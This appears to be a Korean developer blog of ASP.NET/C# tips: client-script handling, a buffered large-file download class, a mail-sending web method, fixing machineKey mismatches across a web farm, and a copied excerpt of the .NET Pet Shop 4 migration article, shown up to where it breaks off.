달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

괜찮은 Chart 하나~

.NET/C# 2006. 7. 20. 17:12
Posted by tornado
|
Posted by tornado
|

Client Script

.NET/ASP.NET 2006. 5. 11. 15:47

asp.net 2.0은 클라이언트 스크립트 핸들링이 쉬워졌네요.


포스트백 이벤트를 발생시키기 전에 클라이언트 유효성 검사를 할때 사용했던 방법들을 다들 기억하죠?

LinkButton을 놓구 속성을 비져블 펄스로 놓구, 이미지를 얹어서 스크립트 걸어주고...따위의 방법....또다른 방법은 cs단에서

Web.UI.WebControls.Attribute.Add("OnClick","return script()") 이런식으로 했었죠?


그리고 포커스 줄때 어떻게 했습니까? ㅡ,.ㅡ; 생각만 해두 끔찍합니다.

컴퓨터의 압박을 감수하면서 cs파일과 js파일을 오가며 했던 작업들...이제 끝이네요.


페이지 로드시 포커스를 줄때는 아래처럼 cs단에 한줄 코딩만 하면 됩니다.


void Page_Load(object sender, EventArgs e)

{

     Page.SetFocus(Control ClientID);

     Control.Focus();

}


좋죠? cs단에서 포커스를 조정하니 프로그래밍 하기가 한결 수월해졌어요!


그리고 포스트백 이벤트 전에 클라이언트 스크립트를 실행할수 있게 버튼 컨트롤에

OnClientClick 이란 속성이 추가 되었답니다.


버튼 컨트롤 예:

<asp:Button ID="Button1" Runat="server" Text="Button"

OnClientClick="javascript:alert('http://WEBPerse.com)" />


이미지버튼 컨트롤 예:
<asp:ImageButton ID="ImageButton1" Runat="server" 

OnClientClick="javascript:alert('http://DesignGuy.pe.kr')" />


링크버튼 컨트롤 예:
<asp:LinkButton ID="LinkButton2" Runat="server"

OnClientClick="javascript:alert('http://TheStage.co.kr')" >OnClientClick</asp:LinkButton>


자...js로 왔다갔다하는 노가다를 그만하고, 앞으로는 아키텍쳐에 더 시간을 투자해 봅시다.


Posted by tornado
|

ASP.NET에서 대용량 화일 다운로드 가능하도록
만든 컴포넌트입니다..

 

// Copyright (C) 2002 Mark Pasternak//// This software is provided 'as-is', without any express or implied// warranty. In no event will the authors be held liable for any damages// arising from the use of this software.//// Permission is granted to anyone to use this software for any purpose,// including commercial applications, and to alter it and redistribute it// freely, subject to the following restrictions://// 1. The origin of this software must not be misrepresented; you must not// claim that you wrote the original software. If you use this software// in a product, an acknowledgment in the product documentation would be// appreciated but is not required.// 2. Altered source versions must be plainly marked as such, and must not be// misrepresented as being the original software.// 3. This notice may not be removed or altered from any source distribution.//// Mark Pasternak (mark.pasternak@universum.se)// 데브피아 ASP.NET 자료실에서 퍼온 파일 다운로드 클레스입니다.// 요청하신 분이 계셔서 간단한 주석을 달았습니다.//// 주석 첨부 : 조성진 (http://powerof.net)using System;using System.Web;using System.IO;namespace MarkPasternak.Utility{ /// <summary> /// The HttpResponse.WriteFile method does not work very well with large files since it reads /// the whole file to memory at once. This may crash the ASP.NET worker process if the file is too big. /// This helper class uses buffers and continuously checks if the client is connected before it sends any output. /// /// HttpResponse.WriteFile 메소드는 아주 큰 파일을 전송하는 경우 잘 동작하지 않습니다. /// 왜냐면 이 메소드는 전송할 파일을 메모리로 한번에 모두 읽어드리기 때문에 /// 전송할 파일이 크다면 서버에 많은 부담을 줍니다. 심각한 경우는 ASP.NET 프로세스가 죽는 경우도 생기죠. /// 다음의 클레스는 버퍼를 이용해 파일을 읽고 전송하기 때문에 /// 기존 HttpResponse.WriteFile 메소드의 문제를 해결해줍니다. /// 그리고 클라이언트와의 연결을 계속 점검하기때문에 클라이언트에서 파일전송을 /// 취소하거나 다른 이유로 연결이 끊길경우 더이상 파일을 전송하지 않습니다. /// </summary> public class WriteFileHelper { private int m_bufferSize=4096; //버퍼크기를 4메가로 지정 private HttpContext Context; public EventHandler DownloadCancelled; public EventHandler DownloadCompleted; public WriteFileHelper() { Context = HttpContext.Current; } /// <summary> /// Sets and gets the size of the buffer that is used when a file is read to memory. /// A larger buffer will require more memory, but will on the other hand make /// it less resource intensive to send a file. Experiment to find a good balance. /// </summary> /// 위에서 m_bufferSize가 4096으로 기본적으로 설정되지만 /// 원한다면 이 속성을 이용해 버퍼크기를 변경할수 있다. public int BufferSize { set{m_bufferSize=value;} get{return m_bufferSize;} } // 사용자자 파일 전송을 취소하거나 어떤 이유로 클라이언트와 연결이 끈기면 // 이 메소드가 호출됩니다. // 이 클레스 외부에서 DownloadCancelled 의 이벤트 헨들러를 지정하면 // 이 메소드가 호출될때 임의의 처리를 할수 있습니다. protected void OnDownloadCancelled() { if (DownloadCancelled != null) // 헨들러가 지정되 있다면 DownloadCancelled(null, null); } // 파일전송이 완료되면 이 메소드가 호출됩니다. // 이 클레스 외부에서 DownloadCompleted 의 이벤트 헨들러를 지정하면 // 이 메소드가 호출될때 임의의 처리를 할수 있습니다. protected void OnDownloadCompleted() { if (DownloadCompleted != null) // 헨들러가 지정되 있다면 DownloadCompleted(null, null); } /// <summary> /// Writes a file to the Response Stream /// </summary> /// <param name="filePath">A Path to a file</param> /// 전송할 파일의 경로를 인자로 이 메소드를 호출하면 /// 클라이언트로 파일을 보냅니다. /// 그러나 이 메소드대신 다음에 나오는 /// WriteFileToResponseStreamWithForceDownloadHeaders 메소드를 사용하는게 더 편리합니다. /// 그런 이유로 이 메소드는 별로 사용할 일이 없을듯 하군요 public void WriteFileToResponseStream(string filePath) { if(!File.Exists(filePath)) // 요청한 파일이 없으면 에러를 일으킨다. throw new Exception("File Path does not exist : " + filePath); // 클라이언트로 파일을 전송한다. WriteBinaryFile_Internal(filePath); } /// <summary> /// Writes a file to the Response Stream and adds the headers s장the "Save As" dialog is presented to the user /// </summary> /// <param name="filePath">A Path to a file</param> /// 전송할 파일의 경로를 인자로 이 메소드를 호출하면 /// 클라이언트로 HTTP 헤더를 첨부해서 파일을 전송합니다. /// 첨부한 헤더로 인해 클라이언트에는 '열기','저장', '취소' 버튼이 있는 /// 대화상자가 열립니다. public void WriteFileToResponseStreamWithForceDownloadHeaders(string filePath) { if(!File.Exists(filePath)) // 요청한 파일이 없으면 에러를 일으킨다. throw new Exception("File Path does not exist : " + filePath); Context.Response.Clear(); // 해더를 추가한다 Context.Response.ContentType = "application/octet-stream"; Context.Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(filePath)); Context.Response.AddHeader("Content-Length", new FileInfo(filePath).Length.ToString()); // 클라이언트로 파일을 전송한다. WriteBinaryFile_Internal(filePath); } // 실질적인 파일전송을 담당하는 메소드 private void WriteBinaryFile_Internal(string filePath) { Context.Response.Buffer=false; // 버퍼링을 하지 않는다. FileStream inStr = null; byte[] buffer = new byte[m_bufferSize]; // 파일을 읽어드릴 버퍼 long byteCount; try { inStr = File.OpenRead(filePath); // 파일을 연다. // m_bufferSize 크기 만큼씩 파일 내용을 차례대로 읽어들인다. while ((byteCount = inStr.Read(buffer, 0, buffer.Length)) > 0) { // 클라이언트가 연결되 있는지 검사한다. // 즉, 사용자가 파일전송을 중간에 취소하거나 // 다른 이유로 연결이 끈기면 IsClientConnected가 talse가 된다. if(Context.Response.IsClientConnected) { // 버퍼에 담긴 데이터를 클라이언트로 전송한다. Context.Response.OutputStream.Write(buffer, 0, buffer.Length); Context.Response.Flush(); } else { // 전송이 취소 됐음을 알리는 이벤트를 발생시킨다. OnDownloadCancelled(); return; } } OnDownloadCompleted(); // 전송 완료 이벤트를 발생시킨다. } catch(Exception ex) { throw ex; } finally { inStr.Close(); Context.Response.End(); } } }}
Posted by tornado
|

[Page.GetPostBackEventReference()를 이용한 doPostBack]


자바스크립트로 behind code의 메서드를 실행하고 싶은 경우가 있다.


이럴 경우 보통은 스크립트에서 __doPostBack() 메서드를 정의해서 사용하곤 한다. 하지만, 이는 좋지 못한 방법이다.


__doPostBack() 메서드는 .net에서 자동 생성하는 부분으로, 개발자가 별도로 작성하여도 바뀔 가능성이 있다. 또한, .net에서 자동으로 생성하지 않는 경우도 발생한다.


스크립트로 behind code의 메서드를 실행하고 싶을 때는 아래와 같은 방법을 권한다.


<%= Page.GetPostBackEventReference( WebFormButton ) %>


이는 postback이 발생하는 WebForm Control을 매개변수로 넘겨주면, 자동으로 __doPostBack()을 생성해 준다.


ex)
[Page.aspx]
btnOne -> HTML Input 컨트롤 - visible

<script language="javascript">
    function btnOneClick()
    {
        <%= Page.GetPostBackEventReference( btnTwo ) %>
    }
</script>


<input type="button" onclick="btnOneClick()">



[Page.aspx.cs]
btnTwo -> WebForm Button 컨트롤 - invisible

private void btnTwo_Click(...)
{
    ...
}

Posted by tornado
|

[WebMethod (Description="Simple mailer w/ authentication")]
public string SimpleMail(string mailto, string mailfrom, string mailsubject, string mailbody, string mailcc, string mailbcc, string smtpserver, string username, string password)
{
string _results = "success!";
MailMessage mm = new System.Web.Mail.MailMessage();
mm.From = mailfrom;
mm.To = mailto;
mm.Subject = mailsubject;
mm.Body = mailbody;
mm.Cc = mailcc;
mm.Bcc = mailbcc;
mm.BodyFormat = MailFormat.Text;

int cdoBasic = 1;
int cdoSendUsingPort = 2;

mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", cdoBasic);
mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", username);
mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", password);
mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusing", cdoSendUsingPort);
mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpserver", smtpserver);
mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout", 10);
mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpserverport", 25);
mm.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpusessl", false);

try
{
System.Web.Mail.SmtpMail.Send(mm);
}
catch (Exception e)
{
_results = e.ToString();
}

return _results;

}

'.NET > C#' 카테고리의 다른 글

[펌] winmm.dll 을 이용한 간단한 MP3 Player  (0) 2007.01.04
닷넷 어플리케이션을 TrayIcon 화 시키는 방법  (0) 2007.01.03
http://www.castleproject.org/  (0) 2006.12.15
아주 큰~~~ 삽질  (0) 2006.07.25
괜찮은 Chart 하나~  (0) 2006.07.20
Posted by tornado
|

현재 닷넷 개발 사이트에 Log4net 과 Elmah 를 같이 사용한다.


프로그램은 3단계의 레이어로 나뉘는데

View Layer , Service Layer 에서는 Elmah 로깅을 이용하고,

Data Access Layer(DAL) 에서는 Log4net 을 이용한다.


웹서버는 두대가 로드발란싱 된 상태로 돌고 있는데, machineKey 가 틀린 관계로

500 에러가 심심치 않게 발생했다.


Elmah 에 남겨진 로그 덕분에 쉽게 찾았다...





Posted by tornado
|
L4 스위치 등 로드 밸런싱 서버 팜에서 포스트 백 된 aspx 페이지가 ViewState 유효성 을 위반하는 문제.

즉 서버팜에 있는 하나의 서버에서 페이지를 요청한 후 액션이 일어났을때 다른 서버의 동일 페이지로 포스트백되는 현상. 요청서버와 포스트백되는 서버가 다르기 때문에 요청서버에서 생성된 ViewState를 포스트백 되는 서버에서 해석하지 못해 에러가 노출된다.

이때 ViewState를 암,복호화 하는 키값을 각 서버마다 동일하게 "박아"버리면 문제를 해결할 수 있다.

다음과 같은 KeyMaker 어플리케이션을 작성후 키값을 생성시키고, 각 서버의 machine.config의 <MachineKey/> 항목을 업데이트 하라.

FIX: "The View State Is Invalid for This Page and Might Be Corrupted" Error Message in ASP.NET

SYMPTOMS
You may receive the following error message in ASP.NET:
The View State is invalid for this page and might be corrupted
You may receive this error message under the following circumstances: ?

Scenario 1: Your ASP.NET application is hosted on a Web farm. A user receives a page that is served by one server but is posted to another server in that Web farm. -or-

?Scenario 2: You modify your pages, which causes the shadow, copied files in the Temporary ASP.NET files folder to be regenerated. A user has a copy of the page that was requested before this change, and the user posts the page after the files in that folder were regenerated.

NOTE: In Scenario 1, verify that the machine keys match for all of the computers in the Web farm before you apply the hotfix that is listed in the "Resolution" section. This error message occurs if the machine keys do not match. If the machine keys do not match, generate an identical machine key for use in all Web servers before you apply the patch. For additional information about how to generate these machine keys, click the article numbers below to view the articles in the Microsoft Knowledge Base:

313091 HOW TO: Create Keys by Using Visual Basic .NET for Use in Forms Authentication
312906 HOW TO: Create Keys by Using Visual C# .NET for Use in Forms Authentication

CAUSE
The case-sensitive value that the TemplateSourceDirectory property of a page returns is used to create and to validate the ViewState property for that page. The value of this property for a page depends on the case-sensitive URL that the first user for that page requested. This value is reused for the remaining requests for that page until that page is recompiled. When the page is recompiled, the TemplateSourceDirectory property is re-initialized. If the new value (which is case-sensitive) differs from the previous value, the ViewState validation from the existing clients fails.

How to create keys by using Visual C# .NET for use in Forms authentication

SUMMARY
This article describes how to create keys to use for encryption, decryption, and validation of Forms authentication cookie data. You can use the keys that you create in this article for the validationKey and decryptionKey attributes of the <machineKey> section in the <system.web> element in the Machine.config file.

Create the project
Create a Visual C# .NET console application: 1. Start Visual Studio .NET.
2. On File menu, point to New, and then click Project.
3. Under Project Types, click Visual C# Projects.
4. Under Templates, click Console application.
5. Name the project HashConfigCs.
6. Click OK.

Write the code to generate the keys
The following code reads two arguments that are passed from the command line: ?The first argument is the number of bytes that is used to create the decryptionKey attribute.
?The second argument is the number of bytes that is used to create the validationKey attribute.
The code uses a random number generator to create a random number of bytes based on the command-line arguments. After the random bytes are created, the bytes are formatted into a hexadecimal string that is suitable for use in the .config files.

Note The hexadecimal string that is created is twice the size of the value that is passed on the command line. For example, if you specify 24 bytes for a key, the resulting string is 48 bytes in length after the conversion. The valid values for decryptionKey is 8 or 24. This creates a 16 byte key for Data Encryption Standard (DES) or a 48 byte key for Triple DES, respectively. Valid values for validationKey are 20 to 64. This creates keys from 40 to 128 bytes in length. The output from the code is an entire <machineKey> element that you can copy and paste into a Machine.config file.

Add the following code to a .cs file:

using System;
using System.Text;
using System.Security.Cryptography;

namespace Crypto
{
public class KeyCreator
{
public static void Main(String[] args)
{
String[] commandLineArgs = System.Environment.GetCommandLineArgs();
string decryptionKey = CreateKey(System.Convert.ToInt32(commandLineArgs[1]));
string validationKey = CreateKey(System.Convert.ToInt32(commandLineArgs[2]));

Console.WriteLine("<machineKey validationKey=\"{0}\" decryptionKey=\"{1}\" validation=\"SHA1\"/>", validationKey, decryptionKey);
}

static String CreateKey(int numBytes)
{
RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
byte[] buff = new byte[numBytes];

rng.GetBytes(buff);
return BytesToHexString(buff);
}

static String BytesToHexString(byte[] bytes)
{
StringBuilder hexString = new StringBuilder(64);

for (int counter = 0; counter < bytes.Length; counter++)
{
hexString.Append(String.Format("{0:X2}", bytes[counter]));
}
return hexString.ToString();
}
}
}

Generate the hashes
Now you can compile the application.

Run the application from a command prompt by passing in two integer values that are the size of the decryption and the validation keys. For example, if you named the console application HashConfigCs.exe, type the following syntax from the command line in the Bin\debug directory of the application:
hashconfigcs.exe 24 64
You can expect the application to return output that is similar to the following output:

<machineKey
validationKey="21F090935F6E49C2C...."
decryptionKey="261F793EB53B7615....."
validation="SHA1"/>

Note Because the code is using a random number generator, the output is different each time.

Update the configuration file
1. Locate the Machine.config file.
2. Locate the <system.web> section in the configuration file.
3. Replace the <machineKey> section with the output from the console application. If the <machineKey> section does not exist, create it.
4. Save the configuration file.
5. Restart IIS on all servers in the Web farm for the Machine.config changes to take effect.

Troubleshooting
Make sure that the <machineKey> section has identical, explicit keys (that is, do not use the AutoGenerate option for attributes in the <machineKey> section) across the Web farm in the following scenarios: ?When you use Forms authentication.
?When you run session state in StateServer mode.
?When you want ViewState to be available across a Web farm because the enableViewStateMAC attribute is set to True by default.

APPLIES TO
?Microsoft ASP.NET (included with the .NET Framework) 1.0
?Microsoft Visual C# .NET 2002 Standard Edition
?Microsoft ASP.NET (included with the .NET Framework 1.1)
?Microsoft Visual C# .NET 2003 Standard Edition
Posted by tornado
|

닷넷 펫스토어 4

.NET/ASP.NET 2006. 4. 11. 15:24

http://msdn.microsoft.com/asp.net/default.aspx?pull=/library/en-us/dnbda/html/bdasamppet4.asp

 

Microsoft .NET Pet Shop 4: Migrating an ASP.NET 1.1 Application to 2.0

 

Gregory Leake
Microsoft Corporation

Alan Le, Alex Arkhipov, Mike Hanley, and Steve Nyholm
Vertigo Software, Inc.

February 2006

Applies to:
   Microsoft .NET Framework 2.0
   Microsoft Visual Studio 2005
   Microsoft Windows Server 2003
   Microsoft Internet Information Services
   Microsoft Message Queuing
   Microsoft SQL Server 2005
   Oracle 10g Database

Summary: The .NET Pet Shop application is designed to show the best practices for building enterprise, n-tier .NET 2.0 applications that may need to support a variety of database platforms and deployment scenarios. (25 printed pages)

Click here to download .NET Pet Shop 4.0.msi.

Contents

Executive Overview
Productivity
Migration from ASP.NET 1.1 to 2.0
Architecture
Abstract Factory Pattern
User Interface Enhancements
Encrypting Configuration Information
Model Objects
Order and Inventory Schema
Profile Database Schema
Conclusions

Executive Overview

The .NET Pet Shop application is designed to show the best practices for building enterprise, n-tier .NET 2.0 applications that may need to support a variety of database platforms and deployment scenarios.

The goals of the .NET Pet Shop 4 project are:

  1. Productivity: Reduce the amount of code from .NET Pet Shop 3—we achieved nearly 25 percent reduction.
  2. Migrate from ASP.NET 1.1 to 2.0: Leverage new features of ASP.NET 2.0—we took advantage of Master Pages, Membership, and Profile and designed a new, appealing user interface.

    Figure 1. The .NET PetShop 4.0

  3. Enterprise architecture: Build a flexible, best practice application—we implemented design patterns and separation of presentation, business, and data tiers.

Productivity

When compared to .NET Pet Shop 3, there is roughly 25 percent less code in .NET Pet Shop 4. The main gains in reducing lines of code are in the presentation layer and data access layer.

In the presentation layer, we reduced the code by roughly 25 percent. The sign-in and check-out steps are more compact than full ASP.NET pages and require less code and html. This is because the Wizard control natively handles the process flow code. Using the Master Page meant less html code and user controls to manage layout. Membership services handles authentication more succinctly than the Pet Shop 3 user management code.

We saw the biggest code savings in the data tier—36 percent. The account management code is replaced by the ASP.NET 2.0 SQL Membership Provider.

Table 1 gives a complete code count break down by tier.

Table 1. Code count comparison for .NET Pet Shop Version 3 versus Version 4

 v3v4
Presentation Layer1,8221,365
Model349395
Business Logic Layer210199
Data Access Layer1,538985
Total Lines of Code3,9192,944

This is further illustrated in the Figure 2.

Figure 2. Code Count Comparison Graph

.NET Pet Shop 4 introduces several new features, ranging from a custom ASP.NET 2.0 profile provider to asynchronous order processing with MSMQ. The code count for the new features is broken down in table 2:

Table 2. Code Count of New.NET Pet Shop 4 Features

Custom Profile853
Oracle Membership586
Cache Dependency90
Message Queue147
Total Lines of Code1,676

Migration from ASP.NET 1.1 to 2.0

To accomplish the goals for .NET Pet Shop 4, we devised the following plan:

  1. Use the Project Conversion Wizard to port the .NET Pet Shop 3.2 code base from ASP.NET 1.1 to ASP.NET 2.0.
  2. Map out the ASP.NET 2.0 features that we want to include.
  3. Implement an n-tier architecture that supports those features.

The Project Conversion Wizard

To start off, the Visual Studio.NET 2005 Project Conversion Wizard rapidly upgraded the .NET Pet Shop 3.2 code base. With this basic port we were able get a first glimpse at .NET Pet Shop 3.2 compiled and running on ASP.NET 2.0.

Changes Between Version 3 and Version 4

Based on moving the .NET Pet Shop 3.2 code base to run on the .NET Framework 2.0 and our research into ASP.NET 2.0, we came up with the following key features to implement in .NET Pet Shop 4.0:

  • System.Transactions instead of Serviced Components.
  • Generics for strongly typed collections instead of loosely typed ILists.
  • ASP.NET 2.0 Membership for user authentication and authorization.
  • Custom ASP.NET 2.0 Membership Provider for Oracle 10g.
  • ASP.NET 2.0 Custom Oracle and SQL Server Profile Providers for user state management.
  • Master Pages for consistent look and feel versus ASP.NET Web User Controls.
  • ASP.NET 2.0 Wizard control.
  • Database level cache invalidation using SqlCacheDependency instead of timeout based.
  • Enabling Asynchronous Order Processing built on message queuing.

What is System.Transactions?

System.Transactions is a new transaction control namespace in the .NET 2.0 Framework. It is a new way to handle distributed transactions without the overhead of COM+ registration and the COM+ catalog. Note that the Microsoft Distributed Transaction Coordinator is used to initiate the transactions.

See it in action

The Order.Insert() method in synchronous order processing uses System.Transactions to insert an order and update the inventory stock. We have implemented the Order.Insert() method by adding a reference to the System.Transaction namespace and wrapping the order insertion and inventory stock reduction methods inside of a TransactionScope, as shown in Code Listing 1.

Listing 1. System.Transactions in action

using System;using System.Transactions;using PetShop.IBLLStrategy;namespace PetShop.BLL { /// <summary> /// This is a synchronous implementation of IOrderStrategy /// By implementing IOrderStrategy interface, the developer can /// add a new order insert strategy without re-compiling the whole /// BLL. /// </summary> public class OrderSynchronous : IOrderStrategy { ... /// <summary> /// Inserts the order and updates the inventory stock within /// a transaction. /// </summary> /// <param name="order">All information about the order</param> public void Insert(PetShop.Model.OrderInfo order) { using (TransactionScope ts = new TransactionScope(TransactionScopeOption.Required)) { dal.Insert(order); // Update the inventory to reflect the current inventory // after the order submission. Inventory inventory = new Inventory(); inventory.TakeStock(order.LineItems); // Calling Complete commits the transaction. // Excluding this call by the end of TransactionScope's // scope will rollback the transaction. ts.Complete(); } } }}

In .NET Pet Shop 3, distributed transactions are handled by Enterprise Services and require COM+ registration. The OrderInsert class is derived from a Serviced Component and transactions are handled by COM+. The service component is then registered using the regsvr32 command.

Listing 2. Pet Shop 3 Order Insert

using System;using System.Collections;using System.EnterpriseServices;using System.Runtime.InteropServices;...namespace PetShop.BLL { /// <summary> /// A business component to manage the creation of orders /// Creation of an order requires a distributed transaction /// so the Order class derives from ServicedComponents /// </summary> [Transaction(System.EnterpriseServices.TransactionOption.Required)] [ClassInterface(ClassInterfaceType.AutoDispatch)] [ObjectPooling(MinPoolSize=4, MaxPoolSize=4)] [Guid("14E3573D-78C8-4220-9649-BA490DB7B78D")] public class OrderInsert : ServicedComponent { ... /// <summary> /// A method to insert a new order into the system /// The orderId will be generated within the method and should not /// be supplied as part of the order creation the inventory will be /// reduced by the quantity ordered. /// </summary> /// <param name="order">All the information about the order</param> /// <returns> /// The new orderId is returned in the order object /// </returns> [AutoComplete] public int Insert(OrderInfo order) { // Get an instance of the Order DAL using the DALFactory IOrder dal = PetShop.DALFactory.Order.Create(); // Call the insert method in the DAL to insert the header int orderId = dal.Insert(order); // Get an instance of the Inventory business component Inventory inventory = new Inventory(); inventory.TakeStock( order.LineItems); ... // Set the orderId so that it can be returned to the caller return orderId; } }}

Benefit of System.Transactions

Moving from Enterprise Services to System.Transactions simplifies deployment as it does not require the use of the COM+ Catalog. In using the COM+ Catalog we were carrying around a lot of extra weight for just distributed transaction support. System.Transaction makes it really simple to program and deploy distributed applications in ASP.NET 2.0 applications. System.Transactions is also up to 50 percent more performant at runtime, due to removing the overhead of COM+ catalog lookups for object instantiation. As a final benefit, System.Transactions is able to detect, when running against SQL Server 2005, when a distributed transaction is running against two different databases that are hosted on a single instance of SQL Server 2005. In this case, it is able to promote the distributed transaction to a local transaction, which avoids all overhead associated with distributed transaction logging/two phase commits, and significantly increases performance.

Generics

What are Generics?

Whenever a collection of Pet Shop model objects is returned, we use a collection list of the generic type for that object. This is a new feature of C# 2.0 known as Generics.

See it in Action

We can see Generics in action from the GetProductsByCategory method shown in Code Listing 3.

Listing 3. Product.cs (Pet Shop 4.0)

/// <summary> /// A method to retrieve products by category name /// </summary> /// <param name="category">The category name to search by</param> /// <returns>A Generic List of ProductInfo</returns> public IList<ProductInfo> GetProductsByCategory(string category) { // Return new if the string is empty if (string.IsNullOrEmpty(category)) return new List<ProductInfo>(); // Run a search against the data store return dal.GetProductsByCategory(category);}

Here is the equivalent code in Pet Shop 3 that returns an IList:

Listing 4. Product.cs (Pet Shop 3)

/// <summary> /// A method to retrieve products by category name /// </summary> /// <param name="category">The category name to search by</param> /// <returns> /// An interface to an arraylist of the search results /// </returns> public IList GetProductsByCategory(string category) { // Return null if the string is empty if (category.Trim() == string.Empty) return null; // Get an instance of the Product DAL using the DALFactory IProduct dal = PetShop.DALFactory.Product.Create(); // Run a search against the data store return dal.GetProductsByCategory(category); }

Benefits of Generics

Generics allow us to return strongly typed collections of objects as opposed to the IList collections in .NET Pet Shop 3. Generic strongly typed collections offer type safety, and perform better than regular collections. Additionally, Generic strongly typed collections will show up on Visual Studio 2005 Intellisense, which can increase developer productivity.

ASP.NET 2.0 Membership

Membership provides a common user authentication and management framework. .NET Pet Shop 4 uses the SQL Server Membership Provider when user information is stored in SQL Server and a custom Membership Provider when user information is stored in Oracle.

See it in Action

To implement Membership in .NET Pet Shop 4, the following steps are necessary:

  1. Configure forms authentication. <authentication mode="Forms"> <forms name="PetShopAuth" loginUrl="SignIn.aspx" protection="None" timeout="60"/> </authentication>
  2. To use the SQL Membership Provider, we had to install the membership database. The Membership database is created by ASP.NET when running the following command. %WinDir%\Microsoft.NET\Framework\<.NET version>\aspnet_regsql -S <server\instance> -E -A all -d MSPetShop4Services
  3. Configure the SQL Membership Provider. <membership defaultProvider="SQLMembershipProvider"> <providers> <add name="SQLMembershipProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="SQLMembershipConnString" applicationName=".NET Pet Shop 4.0" enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed"/> </providers> </membership>
  4. The ASP.NET Login control encapsulates all of the login logic. The CreateUserWizard control handles new user registration.

Benefit of ASP.NET 2.0 Membership

With Membership services, we are able to use pre-built user authentication and registration controls instead of writing them from scratch. The end result is less code to write for login, login status, user identity, user registration, and password recovery.

Also, since Membership now resides on its own database, we are able to remove the Accounts table that is used in .NET Pet Shop 3 and use the Membership services database created by ASP.NET 2.0.

Custom Membership Provider for Oracle 10g

The .NET 2.0 Framework includes a SQL Server Membership provider. In order to maintain user accounts when the application uses an Oracle membership database, we created a custom membership provider implementation for Oracle. We only implemented the methods that are used by .NET Pet Shop 4, which are the CreateUser method and the Login method. This code, however, can be used and/or extended by any customer that wants to use Oracle10G with the ASP.NET membership services.

See it in Action

The CreateUser method is one of the implemented methods of the MembershipProvider class. It provides insight into how the OracleMembershipProvider works.

Listing 5. OracleMembershipProvider.cs CreateUser(...)

using System;using System.Configuration.Provider;namespace PetShop.Membership {class OracleMembershipProvider : MembershipProvider { string password, string email, string passwordQuestion, string passwordAnswer, bool isApproved, object userId, out MembershipCreateStatus status) { // create connection OracleConnection connection = new OracleConnection(OracleHelper.ConnectionStringMembership); connection.Open(); OracleTransaction transaction = connection.BeginTransaction(IsolationLevel.ReadCommitted); try { DateTime dt = DateTime.Now; bool isUserNew = true; // Step 1: Check if the user exists in the Users // table: Create if not int uid = GetUserID(transaction, applicationId, username, true, false, dt, out isUserNew); if (uid == 0) { // User not created successfully! status = MembershipCreateStatus.ProviderError; return null; } // Step 2: Check if the user exists in the Membership table: Error // if yes if (IsUserInMembership(transaction, uid)) { status = MembershipCreateStatus.DuplicateUserName; return null; } // Step 3: Check if Email is duplicate if (IsEmailInMembership(transaction, email, applicationId)) { status = MembershipCreateStatus.DuplicateEmail; return null; } // Step 4: Create user in Membership table int pFormat = (int)passwordFormat; if (!InsertUser(transaction, uid, email, pass, pFormat, salt, "", "", isApproved, dt)) { status = MembershipCreateStatus.ProviderError; return null; } // Step 5: Update activity date if user is not new if(!isUserNew) { if(!UpdateLastActivityDate(transaction, uid, dt)) { status = MembershipCreateStatus.ProviderError; return null; } } status = MembershipCreateStatus.Success; return new MembershipUser(this.Name, username, uid, email, passwordQuestion, null, isApproved, false, dt, dt, dt, dt, DateTime.MinValue); } catch(Exception) { if(status == MembershipCreateStatus.Success) status = MembershipCreateStatus.ProviderError; throw; } finally { if(status == MembershipCreateStatus.Success) transaction.Commit(); else transaction.Rollback(); connection.Close(); connection.Dispose(); }}

The unimplemented methods are left as empty stubs like so:

public override string GetUserNameByEmail(string email) { throw new Exception("The method or operation is not implemented.");}

Benefit of Membership Provider for Oracle 10g

We have implemented a custom Membership Provider since we want .NET Pet Shop 4 to store membership data in an Oracle database as well as in SQL Server. The provider model gives us the ability to integrate Oracle databases with ASP.NET 2.0 Membership Services simply and quickly.

ASP.NET 2.0 Profile

In ASP.NET 2.0, user information can be stored across multiple visits to a Web application in a new service called Profile. The Profile implementation for.NET Pet Shop 4 stores and retrieves users' shopping carts, wish lists, and account information. One key point here is that many customers will find that this can replace their use of the session object almost completely, providing a transacted, cluster-safe store for user session information. By default, the Profile service serializes the data as a BLOB that it stores into the database. However, higher performance can be achieved by implementing your own profile service serialization service. For PetShop 4, a custom implementation of the Profile service was created to reduce the serialization overhead.

See it in Action

  1. Configure the Profile Providers.

    Listing 6. Profile Provider Configuration

    <profile automaticSaveEnabled="false" defaultProvider="ShoppingCartProvider"> <providers> <add name="ShoppingCartProvider" connectionStringName="SQLProfileConnString" type="PetShop.Profile.PetShopProfileProvider" applicationName=".NET Pet Shop 4.0"/> <add name="WishListProvider" connectionStringName="SQLProfileConnString" type="PetShop.Profile.PetShopProfileProvider" applicationName=".NET Pet Shop 4.0"/> <add name="AccountInfoProvider" connectionStringName="SQLProfileConnString" type="PetShop.Profile.PetShopProfileProvider" applicationName=".NET Pet Shop 4.0"/> </providers> <properties> <add name="ShoppingCart" type="PetShop.BLL.Cart" allowAnonymous="true" provider="ShoppingCartProvider"/> <add name="WishList" type="PetShop.BLL.Cart" allowAnonymous="true" provider="WishListProvider"/> <add name="AccountInfo" type="PetShop.Model.AddressInfo" allowAnonymous="false" provider="AccountInfoProvider"/> </properties></profile>
  2. Migrate the Anonymous Profile.

    Listing 7. Migrating Anonymous Profiles

